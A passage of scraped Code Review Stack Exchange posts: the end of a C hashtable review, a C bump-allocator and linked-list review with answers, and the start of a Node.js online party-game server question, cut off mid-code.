hashtable_t *ht, unsigned int key) { key = (key ^ 61) ^ (key &gt;&gt; 16); key = key + (key &lt;&lt; 3); key = key ^ (key &gt;&gt; 4); key = key * 0x27d4eb2d; key = key ^ (key &gt;&gt; 15); return key % ht-&gt;buckets_count; } void ht_print(struct hashtable_t *ht) { for (int i = 0; i &lt; ht-&gt;buckets_count; ++i) { struct entry_t *e_curr = ht-&gt;buckets[i]; printf(&quot;[%d]&quot;, i); do { if (e_curr == NULL) { printf(&quot; NULL\n&quot;); break; } printf(&quot; %d &lt;-&gt;&quot;, e_curr-&gt;key); if (e_curr-&gt;next == NULL) { printf(&quot; NULL\n&quot;); break; } e_curr = e_curr-&gt;next; } while (1); } } entry_t *ht_get(struct hashtable_t *ht, unsigned int key) { unsigned int index = compute_hash(ht, key); entry_t *e_curr = ht-&gt;buckets[index]; while (e_curr-&gt;key != key) { e_curr = e_curr-&gt;next; /* Specified key does not exist in ht */ if (e_curr == NULL) return NULL; } return e_curr; } void ht_free(struct hashtable_t *ht) { free(ht-&gt;buckets); free(ht); } </code></pre> <p><strong>main.c</strong></p> <pre><code>#include &lt;stdio.h&gt; #include &quot;hashtable.h&quot; int main() { hashtable_t *ht = ht_new(5); printf(&quot;ADDING ELEMENTS ...\n&quot;); ht_add(ht, 10, 1); ht_add(ht, 20, 2); ht_add(ht, 30, 3); ht_add(ht, 40, 4); ht_add(ht, 50, 5); ht_add(ht, 60, 6); ht_add(ht, 70, 7); ht_add(ht, 80, 8); ht_add(ht, 90, 9); ht_add(ht, 100, 10); ht_print(ht); printf(&quot;DELETING ELEMENTS ...\n&quot;); ht_delete(ht, 80); ht_delete(ht, 70); ht_delete(ht, 50); ht_print(ht); ht_free(ht); return 0; } </code></pre>
[]
[ { "body": "<p>Some people might say that you should split these into more functions. Things that can easily be extracted into functions are those code-blocks for when you're dealing with just the one element or multiple elements in a bucket. E.g. in <code>ht_delete()</code>, you might say something like:</p>\n<pre><code>if (e_prev-&gt;prev == NULL) {\n ht__delete_head_element(e_curr, index);\n} else {\n ht__delete_tail_element(e_curr, index);\n}\n</code></pre>\n<p>I also noticed that if <code>ht_new()</code> fails on the second <code>malloc()</code>, the result of the first <code>malloc()</code> leaks.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T18:24:30.740", "Id": "253430", "ParentId": "253409", "Score": "3" } }, { "body": "<h2>Documentation</h2>\n<p>If you want this to be generically usable as a library, consider adding documentation comments to <code>hashtable.h</code>. In particular, details about who's responsible for freeing the <code>value</code> pointer on <code>ht_free</code> - this library or the caller (it seems like the latter) - are very important. You can follow something like Doxygen format or a basic <code>/**/</code> comment.</p>\n<h2>Constant references</h2>\n<p><code>ht_get</code> should use a <code>const struct hashtable_t *ht</code>.</p>\n<h2>Tags vs. typedef</h2>\n<p>It's not well-advised to set a <code>struct</code> tag the same as its <code>typedef</code>. Also, you're failing to use the <code>typedef</code> name and rewriting <code>struct</code> on every reference to <code>hashtable_t</code>. Instead consider something like</p>\n<pre><code>typedef struct hashtable_tag\n{\n // ...\n} hashtable_t;\n\n\nvoid ht_free(hashtable_t* ht);\n</code></pre>\n<h2>Memory leak</h2>\n<p>What if</p>\n<pre><code>ht = malloc(sizeof(struct hashtable_t));\n</code></pre>\n<p>succeeds, but</p>\n<pre><code>ht-&gt;buckets = malloc(sizeof(entry_t) * bucket_count);\n</code></pre>\n<p>fails? You will have leaked the memory for <code>ht</code>. You should have a corresponding <code>free</code> for it before the <code>return NULL</code>.</p>\n<h2>Explicit sizes</h2>\n<p>It seems like you assume <code>key</code> to be 32 bits here:</p>\n<pre><code>unsigned int compute_hash(struct hashtable_t *ht, unsigned int key)\n{\n key = key * 0x27d4eb2d;\n</code></pre>\n<p><a href=\"https://stackoverflow.com/questions/1231147/is-int-in-c-always-32-bit\">This is not a safe assumption to make</a>. Consider <code>uint32_t</code> instead.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T21:58:22.947", "Id": "499919", "Score": "0", "body": "Thanks for your review, definitly helpful. I am also really curious if the add and get code can be more concise/cleaner. Do you have any suggestions for that as well?\n\nAs for the memory leak issue - good catch. What is the best way to implement the free logic here? Should I make a check if malloc1 == 0 and malloc2 < 0 then free - or what would be the cleanest approach here. \nI also just realized that valgrind also reports a memory leak in the ht_add function. I have to look into that." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T22:48:53.643", "Id": "499921", "Score": "0", "body": "The suffix `_t` is reserved by POSIX. Even C reserves some names ending with `_t`, see [this question](https://stackoverflow.com/questions/56935852/does-the-iso-9899-standard-has-reserved-any-use-of-the-t-suffix-for-identifiers)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T23:01:29.067", "Id": "499922", "Score": "1", "body": "@G.Sliepen Sure; but that's a problem with the original question, not something I've introduced in my answer. Feel free to address it in an answer of your own." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T22:30:54.250", "Id": "500013", "Score": "2", "body": "`It's not well-advised to set a struct tag the same as its typedef`. Every C project I have been on sets them to the same value. They are in different namespaces so they will never clash." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T23:01:35.847", "Id": "500016", "Score": "0", "body": "@MartinYork Distinguish between \"can\" and \"should\". It's a stretch to say \"every C project names tags and typedefs the same way\", and counterexamples abound - see for instance [most of win32](https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-object_type_list)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T00:36:49.257", "Id": "500023", "Score": "0", "body": "What's the reason for using different names for strict and typedef? One reason could be that JetBrain's CLion does not know about these namespaces, but I already filed a bug for this, and I'm sure they will fix it soon. Any other reason?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T00:53:12.413", "Id": "500025", "Score": "0", "body": "@RolandIllig Different things are different. Communicating that they're the same to programmers is needlessly confusing. There are two surprises for me here: that this is controversial, and that there are no warnings raised from `gcc` on such practice. But of course, this is not my hill to die on." } ], "meta_data": { "CommentCount": "7", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T17:22:30.100", "Id": "253509", "ParentId": "253409", "Score": "2" } }, { "body": "<h2>Design:</h2>\n<p>The frist thing I see is that the hashtable is in two parts. You don't need to do this. Make it a single object and remove a whole bunch of edge cases you need to test.</p>\n<pre><code>typedef struct hashtable_t\n{\n unsigned int buckets_count;\n struct entry_t **buckets; // A pointer to another block.\n // This block needs to be seprately\n // allocated and maintained.\n} hashtable_t;\n</code></pre>\n<p>Rather do this:</p>\n<pre><code>typedef struct hashtable_t\n{\n unsigned int buckets_count;\n entry_t buckets[0]; // This is a fake array object.\n // You just allocate enough space for\n // the buckets you want and they\n // be correctly aligned in the same\n // object.\n} hashtable_t;\n\n\nhashtable_t&amp; table = (hashtable_t*)malloc(sizeof(hashtable_t) + sizeof(entry_t) * buckets_count);\n</code></pre>\n<hr />\n<p>Hash tables are hard to get correct and sizing the number of buckets is important if you want to avoid clashes. So *<em>Normally</em> you want a bucket count that is a prime number. You can not expect the user of your hash table to know this some asking them for a bucket count is a bad idea. I would change the interface so that your code simply uses a prime number of buckets (if you want to be expandable then allow them to input some value that gets converted to nearest prime or select from a know good set of primes that you support).</p>\n<hr />\n<p>Your design allows for multiple entries in the table to have the same key. You could argue this is a design decision I suppose. But usually you would expect keys to be unique and subsequent writes with the same key to over-right existing values.</p>\n<p>If you deliberately want to support multiple items with the same key then you really need to explain this in the documentation up front to make sure the user is clear on the concept.</p>\n<h2>Code Review</h2>\n<p>I would note that POSIX reserves all identifers that end in <code>_t</code>.</p>\n<pre><code>typedef struct hashtable_t\n{} hashtable_t;\n</code></pre>\n<hr />\n<pre><code> ht = malloc(sizeof(struct hashtable_t));\n if (ht == NULL)\n return NULL;\n\n ht-&gt;buckets = malloc(sizeof(entry_t) * bucket_count);\n if (ht-&gt;buckets == NULL)\n // If you return here.\n // You have leaked the initial allocation.\n // you need to add free(ht) first\n // don't forget the braces.\n return NULL;\n</code></pre>\n<hr />\n<p>Why not put the <code>ht_free()</code> next?</p>\n<pre><code>void ht_free(struct hashtable_t *ht)\n{\n free(ht-&gt;buckets);\n free(ht);\n}\n</code></pre>\n<p>Would have nice to have the allocation/deallocation close to each other.</p>\n<hr />\n<p>This is a bad choice.</p>\n<pre><code> /* Go to the end of the linked list and append new entry */\n entry_t *current_entry = ht-&gt;buckets[index];\n while (current_entry-&gt;next != NULL)\n {\n current_entry = current_entry-&gt;next;\n }\n</code></pre>\n<p>Put new clashes at the front of the list. It is more likely that new values will be used sooner than old values. So a value that has recently been put in the table will likely be used again and thus putting it at the front of the list will decrease accesses time.</p>\n<hr />\n<p>Useless code that is never executed.</p>\n<pre><code> /* Entry is not the first element in the chain */\n else\n {\n // This is never true.\n // You just searched for the item with ht_get() which either\n // returns the first item that matches key or null.\n while(e_curr-&gt;key != key)\n {\n // This loop will never be entered.\n e_curr = e_next;\n e_prev = e_curr;\n }\n</code></pre>\n<hr />\n<p>We could simplify the print a lot:</p>\n<pre><code>void ht_print(struct hashtable_t *ht)\n{\n for (int i = 0; i &lt; ht-&gt;buckets_count; ++i)\n {\n printf(&quot;[%d] &quot;, i);\n struct entry_t *e_curr = ht-&gt;buckets[i];\n\n for (;e_curr != NULL; e_curr = e_curr-&gt;next)\n {\n printf(&quot;%d &lt;=&gt;&quot;, e_curr-&gt;key);\n }\n printf(&quot; NULL\\n&quot;);\n }\n}\n</code></pre>\n<hr />\n<p>I would simplify the loop here:</p>\n<pre><code>entry_t *ht_get(struct hashtable_t *ht, unsigned int key)\n{\n unsigned int index = compute_hash(ht, key);\n entry_t *e_curr = ht-&gt;buckets[index];\n\n for (;e_curr != NULL; e_curr = e_curr-&gt;next) {\n if (e_curr-&gt;key == key) {\n return e_curr;\n }\n }\n\n return NULL;\n}\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T22:46:24.897", "Id": "500014", "Score": "0", "body": "Your suggestion for `struct hashtable_t` works for OP's code where the hash table is never resized, but if you want to dynamically size the number of buckets, you do need the indirection." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T23:11:28.503", "Id": "500017", "Score": "0", "body": "@G.Sliepen Agree. If you need to resize buckets then a separate bucket list may be useful. But I think that is a more advanced feature." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T22:26:37.780", "Id": "253555", "ParentId": "253409", "Score": "2" } } ]
{ "AcceptedAnswerId": "253555", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T04:54:52.040", "Id": "253409", "Score": "4", "Tags": [ "c", "linked-list", "hash-map" ], "Title": "Generic implementation of a hashtable with double-linked list" }
253409
<p>Here is my code for implementing a linked list with custom allocators (the standard malloc/free and a simple bump allocator). I appreciate any comments or critiques about architecture, formatting, and anything in between. There are a number of files so I am very appreciative of comments even concerning singular functions. I am especially interested in opinions on my bump allocator implementation and on my &quot;polymorphism&quot; hack with the <code>MemAlloc</code> struct. The code has been run with gcc and valgrind.</p> <p>The code is organized into three header files and three source files, placed in the <code>inc</code> and <code>src</code> folders, respectively. Here is the Makefile I use for building which is located in the root directory. It creates a <code>bin</code> folder which contains the main executable.</p> <p><strong>Makefile</strong></p> <pre><code>CC := gcc CCFLAGS := -g3 -g \ -Wall -Warray-bounds -Wconversion -Wdouble-promotion \ -Werror -Wextra -Wno-parentheses -Wpedantic -Wshadow \ -Wstrict-prototypes -Wwrite-strings -Wundef \ -fno-common -fPIC CLIB := -lm TARGET := main BIN_DIR := bin OBJ_DIR := build INC_DIR := inc SRC_DIR := src SRC := $(wildcard $(SRC_DIR)/*.c) OBJ := $(patsubst $(SRC_DIR)/*.c, $(OBJ_DIR)/%.o, $(SRC)) $(BIN_DIR)/$(TARGET): $(OBJ) | bin $(CC) $(CCFLAGS) -o $@ $^ -I$(INC_DIR) $(CLIB) $(OBJ_DIR)/%.o: $(SRC_DIR)/%.c | build $(CC) $(CCFLAGS) -o $@ -c $^ -I$(INC_DIR) $(CLIB) bin: mkdir $(BIN_DIR) build: mkdir $(OBJ_DIR) clean: rm -fr $(OBJ_DIR) rm -fr $(BIN_DIR) rm -fr perf.data perf.data.old rm -fr gmon.out gprof.txt rm -fr vg_logfile.out </code></pre> <p><strong>memory.h</strong></p> <pre><code>#ifndef MEMORY_H #define MEMORY_H #include &lt;stddef.h&gt; typedef struct MemAlloc MemAlloc; typedef struct MemBump MemBump; typedef struct MemMalloc MemMalloc; typedef enum { BUMP, MALLOC, } MemAllocType; /** A memory allocator that is able to allocate and free. */ struct MemAlloc { void* (*alloc)(MemAlloc*, size_t); void (*free)(MemAlloc*, void*); MemAllocType type; }; /** Construct a memory allocator. type: the type of allocator size: the size in bytes to allocate Note: MALLOC allocator does not use the size parameter. */ MemAlloc* mem_alloc_create(MemAllocType type, size_t size); /** Destroy a memory allocator. allocator: the allocator to destroy */ void mem_alloc_destroy(MemAlloc* allocator); #endif </code></pre> <p><strong>memory.c</strong></p> <pre><code>#include &quot;memory.h&quot; #include &lt;inttypes.h&gt; #include &lt;limits.h&gt; #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; // ----- // BUMP // ----- /** A bump allocator that divides its memory into used and unused segments. NOTE: freeing memory in a bump allocator does nothing [ unused | used ] ^ ^ ^ head ptr tail (ptr moves in &lt;-- direction) */ struct MemBump { void* (*alloc)(MemBump*, size_t); void (*free)(MemBump*, void*); MemAllocType type; size_t num_allocs; size_t capacity; void* head; void* tail; void* ptr; }; void* mem_bump_alloc(MemBump* allocator, size_t size) { if (size &gt; allocator-&gt;capacity) return NULL; void* ptr = (char*) allocator-&gt;ptr - size; size_t word_size = (size_t) sizeof(long) * CHAR_BIT; if (size &gt;= word_size) { // NOTE(matt): this bit twiddling assumes align is a power of 2 // https://fitzgeraldnick.com/2019/11/01/always-allocator-downwards.html ptr = (void*) ((uintptr_t) ptr &amp; ~(word_size - 1)); } if (ptr &lt; allocator-&gt;head) return NULL; allocator-&gt;capacity -= (size_t) ((uintptr_t) allocator-&gt;ptr - (uintptr_t) ptr); allocator-&gt;num_allocs++; allocator-&gt;ptr = ptr; return ptr; } void mem_bump_free(MemBump* allocator, void* ptr) { (void) allocator; (void) ptr; } MemBump* mem_bump_create(size_t capacity) { // NOTE(matt): this capacity should be at least the size of a CPU word MemBump* allocator = malloc(sizeof(*allocator)); if (!allocator) return NULL; allocator-&gt;capacity = capacity; allocator-&gt;num_allocs = 0; allocator-&gt;head = malloc(capacity); if (!allocator-&gt;head) { free(allocator); return NULL; } allocator-&gt;tail = (char*) allocator-&gt;head + capacity; allocator-&gt;ptr = allocator-&gt;tail; allocator-&gt;alloc = mem_bump_alloc; allocator-&gt;free = mem_bump_free; allocator-&gt;type = BUMP; return allocator; } void mem_bump_destroy(MemBump* allocator) { free(allocator-&gt;head); free(allocator); } // ----- // MALLOC // ----- /** An allocator that uses the standard malloc and free. */ struct MemMalloc { void* (*alloc)(MemMalloc*, size_t); void (*free)(MemMalloc*, void*); MemAllocType type; size_t num_allocs; }; void* mem_malloc_alloc(MemMalloc* allocator, size_t size) { void* ptr = malloc(size); if (!ptr) return NULL; allocator-&gt;num_allocs++; return ptr; } void mem_malloc_free(MemMalloc* allocator, void* ptr) { allocator-&gt;num_allocs--; free(ptr); } MemMalloc* mem_malloc_create(void) { MemMalloc* allocator = malloc(sizeof(*allocator)); if (!allocator) return NULL; allocator-&gt;num_allocs = 0; allocator-&gt;alloc = mem_malloc_alloc; allocator-&gt;free = mem_malloc_free; allocator-&gt;type = MALLOC; return allocator; } void mem_malloc_destroy(MemMalloc* allocator) { free(allocator); } // ----- // INTERFACE // ----- MemAlloc* mem_alloc_create(MemAllocType type, size_t size) { switch(type) { case BUMP: return (MemAlloc*) mem_bump_create(size); case MALLOC: return (MemAlloc*) mem_malloc_create(); default: fprintf(stderr, &quot;Failed to create memory allocator.\n&quot;); return NULL; } } void mem_alloc_destroy(MemAlloc* allocator) { switch(allocator-&gt;type) { case BUMP: mem_bump_destroy((MemBump*) allocator); break; case MALLOC: mem_malloc_destroy((MemMalloc*) allocator); break; default: fprintf(stderr, &quot;Failed to destroy memory allocator.\n&quot;); break; } } </code></pre> <p><strong>linkedlist.h</strong></p> <pre><code>#ifndef LINKEDLIST_H #define LINKEDLIST_H #include &quot;linkedlist.h&quot; #include &quot;memory.h&quot; #include &lt;stddef.h&gt; typedef struct LinkedList LinkedList; typedef struct LinkedListNode LinkedListNode; struct LinkedList { LinkedListNode* first; LinkedListNode* last; size_t length; MemAlloc* allocator; }; struct LinkedListNode { void* data; LinkedListNode* next; }; /** Append (to the end) of the linked list. */ void* linkedlist_append(LinkedList* ll, void* data); /** Index the linked list and return the data. */ void* linkedlist_at(const LinkedList* ll, size_t i); /** Create a linked list. */ LinkedList* linkedlist_create(MemAlloc* allocator); /** Destroy a linked list. */ void linkedlist_destroy(LinkedList* ll); /** Return the length of a linked list. */ size_t linkedlist_length(const LinkedList* ll); /** Prepend (to the beginning) of the linked list. */ void* linkedlist_prepend(LinkedList* ll, void* data); /** Print the contents of the linked list. */ void linkedlist_print(const LinkedList* ll, void (*print)(void*)); #endif </code></pre> <p><strong>linkedlist.c</strong></p> <pre><code>#include &quot;linkedlist.h&quot; #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; void* linkedlist_append(LinkedList* ll, void* data) { LinkedListNode* node = ll-&gt;allocator-&gt;alloc(ll-&gt;allocator, sizeof(*node)); if (!node) return NULL; node-&gt;data = data; node-&gt;next = NULL; if (ll-&gt;first == NULL) { ll-&gt;first = node; ll-&gt;last = node; } else { ll-&gt;last-&gt;next = node; ll-&gt;last = node; } ll-&gt;length++; return data; } void* linkedlist_at(const LinkedList* ll, size_t i) { if (ll-&gt;length &lt;= i) return NULL; LinkedListNode* node = ll-&gt;first; if (!node) return NULL; while (i &gt; 0) { node = node-&gt;next; i--; } return node-&gt;data; } LinkedList* linkedlist_create(MemAlloc* allocator) { LinkedList* ll = allocator-&gt;alloc(allocator, sizeof(*ll)); if (!ll) return NULL; ll-&gt;first = NULL; ll-&gt;last = NULL; ll-&gt;length = 0; ll-&gt;allocator = allocator; return ll; } void linkedlist_destroy(LinkedList* ll) { LinkedListNode* node = ll-&gt;first; while (node != NULL) { LinkedListNode* tmp = node-&gt;next; ll-&gt;allocator-&gt;free(ll-&gt;allocator, node); node = tmp; } ll-&gt;allocator-&gt;free(ll-&gt;allocator, ll); } size_t linkedlist_length(const LinkedList* ll) { return ll-&gt;length; } void* linkedlist_prepend(LinkedList* ll, void* data) { LinkedListNode* node = ll-&gt;allocator-&gt;alloc(ll-&gt;allocator, sizeof(*node)); if (!node) return NULL; node-&gt;data = data; node-&gt;next = NULL; if (ll-&gt;first == NULL) { ll-&gt;first = node; ll-&gt;last = node; } else { node-&gt;next = ll-&gt;first; ll-&gt;first = node; } ll-&gt;length++; return data; } void linkedlist_print(const LinkedList* ll, void (*print)(void*)) { LinkedListNode* node = ll-&gt;first; if (node == NULL) { return; } print(node-&gt;data); while (node-&gt;next != NULL) { print(node-&gt;next-&gt;data); node = node-&gt;next; } } </code></pre> <p><strong>print.h</strong></p> <pre><code>#ifndef PRINT_H #define PRINT_H #include &lt;stdio.h&gt; void print_float(void* data) { printf(&quot;%g\n&quot;, *((double*) data)); } void print_int(void* data) { printf(&quot;%d\n&quot;, *((int*) data)); } #endif </code></pre> <p><strong>main.c</strong></p> <pre><code>#include &quot;linkedlist.h&quot; #include &quot;memory.h&quot; #include &quot;print.h&quot; #include &lt;math.h&gt; #include &lt;stdio.h&gt; #include &lt;time.h&gt; double time_bump(size_t num_nodes) { clock_t begin = clock(); size_t memory_size = sizeof(LinkedList) + num_nodes * sizeof(LinkedListNode); MemAlloc* allocator = mem_alloc_create(BUMP, memory_size); if (!allocator) { fprintf(stderr, &quot;Failed to create bump allocator.\n&quot;); return 1; } int a = 4; LinkedList* ll = linkedlist_create((MemAlloc*) allocator); if (!ll) { fprintf(stderr, &quot;Failed to create linked list.\n&quot;); return 1; } for (size_t i = 0; i &lt; num_nodes; i++) { if (!linkedlist_append(ll, &amp;a)) { fprintf(stderr, &quot;Failed to append node.\n&quot;); return 1; } } linkedlist_destroy(ll); mem_alloc_destroy(allocator); clock_t end = clock(); double time_spent = (double) (end - begin) / CLOCKS_PER_SEC; return time_spent; } double time_malloc(size_t num_nodes) { clock_t begin = clock(); MemAlloc* allocator = mem_alloc_create(MALLOC, 0); if (!allocator) { fprintf(stderr, &quot;Failed to create malloc allocator.\n&quot;); return 1; } int a = 4; LinkedList* ll = linkedlist_create((MemAlloc*) allocator); if (!ll) { fprintf(stderr, &quot;Failed to create linked list.\n&quot;); return 1; } for (size_t i = 0; i &lt; num_nodes; i++) { if (!linkedlist_append(ll, &amp;a)) { fprintf(stderr, &quot;Failed to append node.\n&quot;); return 1; } } linkedlist_destroy(ll); mem_alloc_destroy(allocator); clock_t end = clock(); double time_spent = (double) (end - begin) / CLOCKS_PER_SEC; return time_spent; } int main(void) { // Compare the performance of the regular allocation (malloc and free) to // the performance of a simple bump allocator. // Both trials simply insert integer pointers into a linked list. size_t num_nodes = 1 * pow(10, 5); printf(&quot;Malloc: %.10f\n&quot;, time_malloc(num_nodes)); printf(&quot;Bump: %.10f\n&quot;, time_bump(num_nodes)); return 0; } </code></pre>
[]
[ { "body": "<h2>Makefile variables</h2>\n<p>You use <code>$(BIN_DIR)</code>, <code>$@</code> and <code>$^</code> correctly here:</p>\n<pre><code>$(BIN_DIR)/$(TARGET): $(OBJ) | bin\n $(CC) $(CCFLAGS) -o $@ $^ -I$(INC_DIR) $(CLIB)\n</code></pre>\n<p>but not here:</p>\n<pre><code>bin:\n mkdir $(BIN_DIR)\n</code></pre>\n<p>This should be:</p>\n<pre><code>$(BIN_DIR):\n mkdir $@\n</code></pre>\n<h2>Conflation of tags and definitions</h2>\n<p>I typically recommend against naming these the same (i.e. <code>MemAlloc</code> and <code>MemAlloc</code>). One way to differentiate them is to name the tag <code>MemAllocTag</code>.</p>\n<h2>Void casting</h2>\n<p>This:</p>\n<pre><code>void\nmem_bump_free(MemBump* allocator, void* ptr) {\n (void) allocator;\n (void) ptr;\n}\n</code></pre>\n<p>is foreign syntax to me; apparently it's a <a href=\"https://stackoverflow.com/a/34289000/313768\">hack to tell the compiler to suppress warnings</a>. But why doesn't <code>mem_bump_free</code> do anything?</p>\n<h2>C99 struct sugar</h2>\n<p>For known initialization values, this:</p>\n<pre><code> MemBump* allocator = malloc(sizeof(*allocator));\n if (!allocator) return NULL;\n allocator-&gt;capacity = capacity;\n allocator-&gt;num_allocs = 0;\n allocator-&gt;head = malloc(capacity);\n if (!allocator-&gt;head) { free(allocator); return NULL; }\n allocator-&gt;tail = (char*) allocator-&gt;head + capacity;\n allocator-&gt;ptr = allocator-&gt;tail;\n \n allocator-&gt;alloc = mem_bump_alloc;\n allocator-&gt;free = mem_bump_free;\n allocator-&gt;type = BUMP;\n</code></pre>\n<p>can be made somewhat nicer:</p>\n<pre><code> MemBump *allocator = malloc(sizeof(MemBump));\n if (!allocator) return NULL;\n\n *allocator = (MemBump) {\n .capacity = capacity,\n .num_allocs = 0,\n .alloc = mem_bump_alloc,\n .free = mem_bump_free,\n .type = BUMP,\n .head = malloc(capacity)\n }\n\n if (!allocator-&gt;head) { free(allocator); return NULL; }\n\n allocator-&gt;tail = (char*) allocator-&gt;head + capacity;\n allocator-&gt;ptr = allocator-&gt;tail;\n</code></pre>\n<h2>Named signature pointer parameters</h2>\n<p>For better code self-documentation, consider adding parameter names to</p>\n<pre><code>void* (*alloc)(MemMalloc*, size_t);\nvoid (*free)(MemMalloc*, void*);\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T18:26:50.203", "Id": "499988", "Score": "0", "body": "Thanks so much for the advice -- the struct initialization looks fantastic! Could you expound a bit on why you don't like to conflate tags?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T18:32:13.520", "Id": "499989", "Score": "1", "body": "Generally speaking, even if the compiler thinks your usage is unambiguous, to human eyes those names are ambiguous. It's safer and more easily understandable to simply use different names." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T21:48:52.357", "Id": "253518", "ParentId": "253412", "Score": "1" } } ]
{ "AcceptedAnswerId": "253518", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T06:49:51.400", "Id": "253412", "Score": "4", "Tags": [ "c", "linked-list", "memory-management" ], "Title": "Bump Allocator in Linked List" }
253412
<p>This is an online implementation of a game: Compatibility. You can find the rules <a href="https://service.mattel.com/instruction_sheets/41027.pdf" rel="nofollow noreferrer">here</a>. The idea is to have a browser that perform all the game's mechanics and to discuss with your friends through a video call. In my version of the game, I only implemented the part of the rules for individual play.</p> <p>Here is the workflow:</p> <ol> <li>Every player is discussing in a video call</li> <li>One of the player is the master of the game and will create a new game with its browser using the route <code>/compatibility</code></li> <li>When done, the master will send a link to all the players via the video call</li> <li>Each player can click on its name to begin the game</li> <li>The master has a dedicated web page to start a new round with a new theme</li> <li>At each round, each player selects five images corresponding to the theme</li> <li>When every player has send their images, everyone can review the results and the score</li> <li>The game continues from step 5</li> </ol> <p>Here are the different files in my project:</p> <ul> <li><code>app.js</code>: it is the server of the application. It initializes the game and receives every request from the clients and manages them. It also contains the class <code>Game</code> that is used to represent a current game and a utility function <code>getGetParameters</code>.</li> <li><code>master.js</code> and <code>player.js</code>: these files corresponds to the client applications. We have two kind of client: the master of the game and the players. These files will be included respectively by <code>master.html</code> and <code>player.html</code>.</li> <li><code>master.html</code> and <code>player.html</code>: represent the data the master and the players will see on their browser.</li> <li><code>start.tmpl</code> and <code>play.tmpl</code>: template files used during the creation of the game. These files will be modified at run time to generate a dynamic HTML page.</li> <li><code>create.html</code>: HTML form to create a new game.</li> <li><code>dico.txt</code>: text file containing the list of the themes.</li> </ul> <p>There is also an <code>img</code> folder containing all the images of the game named like <em>n</em>.jpg with <em>n</em> a number between 1 and 52.</p> <p>This is my first application using Node.js. I followed these <a href="https://stackoverflow.blog/2020/12/03/tips-to-stay-focused-and-finish-your-hobby-project/">tips to stay focused and finish your hobby project</a> and specially the idea of <em>coming up with a working prototype as quickly as you can</em>. I know there is a lot to improve but I'm specially interested on the following aspects:</p> <ul> <li>Route management: in my code, <code>app.js</code> parses the request URL to determine which page it should respond. I'm wondering how it is possible to do it better.</li> <li>Client/Server workflow: the clients of the application, when they are waiting for an event from the server, send a request every second. Does it exist something to prevent that?</li> <li>Template management: I created some <code>.tmpl</code> file that <code>app.js</code> will uses to produce dynamic HTML files. Maybe something more efficient exists.</li> </ul> <p>However I'm also interested by every reviews about security (how to not cheat, input validation,...), good coding practices in JavaScript, locale management (the project is in French but I translated every messages and labels manually for this review) and anything else you find important. Just, I'm currently not interested about CSS considerations.</p> <p>You can find the full code of the project on its <a href="https://github.com/pierretallotte/compatibility" rel="nofollow noreferrer">GitHub page</a>. As the project is in French, here is the English translation (I just omit the dictionary and the images here):</p> <ul> <li><code>app.js</code></li> </ul> <pre><code>const http = require('http'); const fs = require('fs'); const port = 3000; var games = {}; var words = []; fs.readFile('dico.txt', 'utf8', (err, data) =&gt; { words = data.split('\n'); }); class Game { constructor(players) { this.state = &quot;starting&quot;; this.word = ''; this.remainingWords = words; this.send = {}; this.matcher = ''; this.matcher_id = 0; this.players = {}; decodeURIComponent(players).split(';').forEach((player) =&gt; { this.players[player] = -1; }); } newWord() { var idx = Math.floor(Math.random() * Math.floor(this.remainingWords.length)); this.word = this.remainingWords.splice(idx, 1)[0]; this.state = &quot;waitingPlayers&quot;; this.matcher = Object.keys(this.players)[this.matcher_id]; this.matcher_id = (this.matcher_id + 1) % Object.keys(this.players).length; this.send = {}; return this.word + '#' + this.matcher; } } function getGetParameters(req) { var get = {}; var idx; if(idx = req.url.indexOf('?')) { var paramList = req.url.substring(idx+1); if(paramList.indexOf('&amp;')) { paramList.split('&amp;').forEach((param) =&gt; { get[param.split('=')[0]] = decodeURIComponent(param.split('=')[1]); }); } else { get[paramList.split('=')[0]] = decodeURIComponent(paramList.split('=')[1]); } } return get; } const server = http.createServer((req, res) =&gt; { const get = getGetParameters(req); /* /compatibility Print the form to create the game */ if(req.url == '/compatibility') { fs.readFile('create.html', 'utf8', (err, data) =&gt; { if(err) { res.statusCode = 500; console.log('Unable to read create.html'); res.end('Server error'); } else { res.statusCode = 200; res.end(data); } }); } /* /compatibility/create Create a new game and print the link to give to the players */ else if(req.url == '/compatibility/create') { var body = ''; req.on('data', (chunk) =&gt; { body += chunk; }); req.on('end', () =&gt; { var players = decodeURIComponent(body.split('=')[1]); if(!games[players]) { games[players] = new Game(players); } fs.readFile('play.tmpl', 'utf8', (err, data) =&gt; { if(err) { res.statusCode = 500; console.log('Unable to read play.tmpl'); res.end('Server error'); } else { res.statusCode = 200; res.end(data.replace(/&lt;PLAYERS&gt;/g, players)); } }); }); } /* /compatibility/start Print one link for each players in the game */ else if(req.url.startsWith('/compatibility/start')) { var links = ''; get[&quot;players&quot;].split(';').forEach((player) =&gt; { links += '&lt;p&gt;&lt;a href=&quot;/compatibility/game?player='+player+'&amp;amp;players='+encodeURIComponent(get[&quot;players&quot;])+'&quot;&gt;'+player+'&lt;/a&gt;&lt;/p&gt;'; }); fs.readFile('start.tmpl', 'utf8', (err, data) =&gt; { if(err) { res.statusCode = 500; console.log('Unable to read start.tmpl'); 